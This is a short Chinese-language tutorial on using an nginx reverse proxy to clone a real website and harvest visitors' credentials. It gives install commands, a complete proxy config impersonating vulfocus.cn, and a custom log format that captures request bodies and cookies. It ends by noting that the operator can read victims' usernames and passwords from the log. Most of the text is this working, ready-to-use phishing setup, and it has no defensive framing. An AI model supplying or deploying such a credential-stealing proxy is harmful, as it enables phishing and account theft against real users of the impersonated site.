nginx反向代理-黑客如何嗅探目标HTTP密码？

nginx安装

Ubuntu安装命令：sudo apt-get install nginx -y

Centos安装命令：sudo yum install -y nginx

启动命令：

Ubuntu：service nginx start

Centos：systemctl start nginx.service

也可以用kali，自带nginx

原理

反向代理（reverse proxy）是指用代理服务器来接受外部的访问请求，然后将请求转发给内网的上游服务器，并将从上游服务器上得到的结果返回外部客户端。

如上所述，通过反向代理达到一个中间人的作用，也就可以获取用户和上游网站的通信流量，达到窃取认证凭证的目的。

利用方法

先查看一下本机IP，后面写配置文件用

先配置一下反向代理配置文件

vim /etc/nginx/sites-enabled/reverse-proxy.conf

然后将下面代码复制到配置文件内

server
{
listen 8081; # 监听端口
server_name 192.168.172.137; # 本机真实IP
location / {
proxy_pass https://vulfocus.cn/; # 反代的网站，即想要伪造的网站
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 }
access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置，testLog为自定义的日志格式
}

本文以伪造：https://vulfocus.cn/网站为例

编辑好后保存退出

然后再编辑nginx配置文件

vim /etc/nginx/nginx.conf

将下面两行代码写入

log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;

然后重启nginx

service nginx restart

然后去访问本机的IP

可以看到伪造出一个和源站一样的界面

然后去查看配置文件里配置的日志文件，就可以看到刚才输入的账号和密码